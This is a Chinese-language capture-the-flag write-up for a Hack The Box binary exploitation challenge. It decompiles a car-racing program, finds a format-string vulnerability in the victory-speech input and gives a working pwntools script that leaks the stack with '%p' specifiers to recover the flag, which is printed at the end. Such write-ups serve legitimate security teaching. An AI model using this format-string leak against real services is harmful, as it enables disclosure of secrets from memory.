Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

题目

image-20250818235853932

代码审计

用IDA反汇编出来的伪代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
unsigned int v5; // [esp+0h] [ebp-Ch]

v5 = __readgsdword(0x14u);
setup();
banner();
info();
while ( check )
{
v3 = menu();
if ( v3 == 1 )
{
car_info();
}
else if ( v3 == 2 )
{
check = 0;
car_menu();
}
else
{
printf("\n%s[-] Invalid choice!%s\n", "\x1B[1;31m", "\x1B[1;36m");
}
}
return __readgsdword(0x14u) ^ v5;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
unsigned int banner()
{
time_t v0; // eax
char *s1; // [esp+0h] [ebp-28h]
char *s2; // [esp+4h] [ebp-24h]
_DWORD v4[5]; // [esp+8h] [ebp-20h]
unsigned int v5; // [esp+1Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
v4[0] = "\x1B[1;33m";
v4[1] = "\x1B[1;36m";
v4[2] = "\x1B[1;32m";
v4[3] = "\x1B[1;31m";
v4[4] = "\x1B[1;34m";
v0 = time(0);
srand(v0);
s1 = (char *)v4[rand() % 5];
do
s2 = (char *)v4[rand() % 5];
while ( !strcmp(s1, s2) );
puts(asc_1558);
printf("%s ______ %s|xxx|\n", s1, "\x1B[1;35m");
printf("%s /|_||_\\`.__ %s| F |\n", s1, "\x1B[1;35m");
printf("%s ( _ _ _\\ %s|xxx|\n", s1, "\x1B[1;35m");
printf("%s*** =`-(_)--(_)-' %s| I |\n", s1, "\x1B[1;35m");
printf(" %s|xxx|\n", "\x1B[1;35m");
printf(" %s| N |\n", "\x1B[1;35m");
printf(" %s|xxx|\n", "\x1B[1;35m");
printf(" %s| I |\n", "\x1B[1;35m");
printf(" %s|xxx|\n", "\x1B[1;35m");
printf("%s _-_- _/\\______\\__ %s| S |\n", s2, "\x1B[1;35m");
printf("%s _-_-__ / ,-. -|- ,-.`-. %s|xxx|\n", s2, "\x1B[1;35m");
printf("%s _-_- `( o )----( o )-' %s| H |\n", s2, "\x1B[1;35m");
printf("%s `-' `-' %s|xxx|\n", s2, "\x1B[1;35m");
puts(byte_1888);
return __readgsdword(0x14u) ^ v5;
}

unsigned int info()
{
void *buf; // [esp+4h] [ebp-14h]
char *s; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
buf = malloc(0x20u);
s = (char *)malloc(0x20u);
printf("\n%sInsert your data:\n\n", "\x1B[1;36m");
printf("Name: ");
read(0, buf, 0x1Fu);
*((_BYTE *)buf + strlen((const char *)buf) - 1) = 0;
printf("Nickname: ");
read(0, s, 0x1Fu);
s[strlen(s) - 1] = 0;
printf(
"\n%s[+] Welcome [%s%s%s]!\n\n%s[*] Your name is [%s%s%s] but everybody calls you.. [%s%s%s]!",
"\x1B[1;32m",
"\x1B[1;33m",
buf,
"\x1B[1;32m",
"\x1B[1;36m",
"\x1B[1;33m",
buf,
"\x1B[1;36m",
"\x1B[1;33m",
s,
"\x1B[1;36m");
printf("\n[*] Current coins: [%d]\n", coins);
return __readgsdword(0x14u) ^ v3;
}

unsigned int car_info()
{
unsigned int v1; // [esp+Ch] [ebp-Ch]

v1 = __readgsdword(0x14u);
puts(asc_1BB0);
puts(aCar1Stats);
printf(aSpeedS, "\x1B[1;31m", "\x1B[1;33m", "\x1B[1;36m");
printf(aAccelerationS, "\x1B[1;31m", "\x1B[1;33m", "\x1B[1;36m");
printf(aHandlingS, "\x1B[1;31m", "\x1B[1;33m", "\x1B[1;32m", "\x1B[1;36m");
puts(asc_1BB0);
puts(aCar2Stats);
printf(aSpeedS_0, "\x1B[1;31m", "\x1B[1;33m", "\x1B[1;32m", "\x1B[1;36m");
printf(aAccelerationS_0, "\x1B[1;31m", "\x1B[1;33m", "\x1B[1;32m", "\x1B[1;36m");
printf(aHandlingS_0, "\x1B[1;31m", "\x1B[1;36m");
puts(asc_1BB0);
return __readgsdword(0x14u) ^ v1;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
int car_menu()
{
time_t v0; // eax
size_t i; // eax
size_t v2; // edx
int result; // eax
int v4; // [esp+0h] [ebp-58h]
int v5; // [esp+0h] [ebp-58h]
int v6; // [esp+4h] [ebp-54h]
int v7; // [esp+4h] [ebp-54h]
unsigned int v8; // [esp+8h] [ebp-50h]
int v9; // [esp+Ch] [ebp-4Ch]
int v10; // [esp+10h] [ebp-48h]
void *buf; // [esp+18h] [ebp-40h]
FILE *stream; // [esp+1Ch] [ebp-3Ch]
char v13[44]; // [esp+20h] [ebp-38h] BYREF
unsigned int v14; // [esp+4Ch] [ebp-Ch]

v14 = __readgsdword(0x14u);
v4 = -1;
v6 = -1;
do
{
printf(aSelectCar1);
v9 = read_int(v4, v6);
if ( v9 != 2 && v9 != 1 )
printf("\n%s[-] Invalid choice!%s\n", "\x1B[1;31m", "\x1B[1;36m");
}
while ( v9 != 2 && v9 != 1 );
v10 = race_type();
v0 = time(0);
srand(v0);
if ( v9 == 1 && v10 == 2 || v9 == 2 && v10 == 2 )
{
v5 = rand() % 10;
v7 = rand() % 100;
}
else if ( v9 == 1 && v10 == 1 || v9 == 2 && v10 == 1 )
{
v5 = rand() % 100;
v7 = rand() % 10;
}
else
{
v5 = rand() % 100;
v7 = rand() % 100;
}
v8 = 0;
for ( i = strlen("\n[*] Waiting for the race to finish..."); ; i = strlen("\n[*] Waiting for the race to finish...") )
{
v2 = i;
result = v8;
if ( v2 <= v8 )
break;
putchar(aWaitingForTheR[v8]);
if ( aWaitingForTheR[v8] == 46 )
sleep(0);
++v8;
}
if ( v9 == 1 && (result = v5, v5 < v7) || v9 == 2 && (result = v5, v5 > v7) )
{
printf("%s\n\n[+] You won the race!! You get 100 coins!\n", "\x1B[1;32m");
coins += 100;
printf("[+] Current coins: [%d]%s\n", coins, "\x1B[1;36m");
printf("\n[!] Do you have anything to say to the press after your big victory?\n> %s", "\x1B[0m");
buf = malloc(0x171u);
stream = fopen("flag.txt", "r");
if ( !stream )
{
printf("%s[-] Could not open flag.txt. Please contact the creator.\n", "\x1B[1;31m");
exit(105);
}
fgets(v13, 44, stream);
read(0, buf, 0x170u);
puts("\n\x1B[3mThe Man, the Myth, the Legend! The grand winner of the race wants the whole world to know this: \x1B[0m");
return printf((const char *)buf);
}
else if ( v9 == 1 && (result = v5, v5 > v7) || v9 == 2 && (result = v5, v5 < v7) )
{
printf("%s\n\n[-] You lost the race and all your coins!\n", "\x1B[1;31m");
coins = 0;
return printf("[+] Current coins: [%d]%s\n", 0, "\x1B[1;36m");
}
return result;
}

首先仔细阅读代码后会发现car_menu()函数中的格式化字符串漏洞:

1
2
3
read(0, buf, 0x170u);
puts("\n\x1B[3mThe Man, the Myth, the Legend! The grand winner of the race wants the whole world to know this: \x1B[0m");
return printf((const char *)buf);

它会将我们输入的内容直接传递给printf函数。所以我们接下来需要做的就是2点:

  1. 如何触发这个漏洞,或者说如何进入这个if分支;
  2. 如何利用这个漏洞去读取信息,比如说flag的内容。

1. 如何进入这个if分支?

不难发现,当车的类型选1,且比赛类型选2的时候,我们获胜的概率为

非常高,或者说是获胜概率最高的选择。而获胜之后便可以输入获奖感言,这个时候便可以前面提到的漏洞。

2. 如何利用

注意到在这里:

1
2
stream = fopen("flag.txt", "r");
fgets(v13, 44, stream);

程序将将flag读进栈上的v13[44],所以我们可以直接利用%p读取stack上的内容,然后判断其中哪部分为flag的内容。

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
import re

r = remote("94.237.122.218", 33681)
r.recvuntil(b"Name:")
r.sendline(b"A")
r.recvuntil(b"Nickname:")
r.sendline(b"B")

r.recvuntil(b"2. Car selection")
r.recvuntil(b">")
r.sendline(b"2")
r.recvuntil(b"Select car")
r.recvuntil(b">")
r.sendline(b"1")
r.recvuntil(b"Select race")
r.recvuntil(b">")
r.sendline(b"2")


r.recvuntil(b"victory?")
# 假如没有收到则说明当前尝试没有成功,再重新跑一次脚本即可。

payload = b"%p " * 40
r.sendline(payload)

data = r.recvall()
hex_words = re.findall(rb'0x[0-9a-fA-F]{1,8}', data)

blob = bytearray()
for hw in hex_words:
blob += int(hw,16).to_bytes(4,'little')

start = blob.find(b'H')
end = blob.find(b'}', start)
flag = blob[start:end+1].decode()
print(flag)

# HTB{why_d1d_1_s4v3_th3_fl4g_0n_th3_5t4ck?!}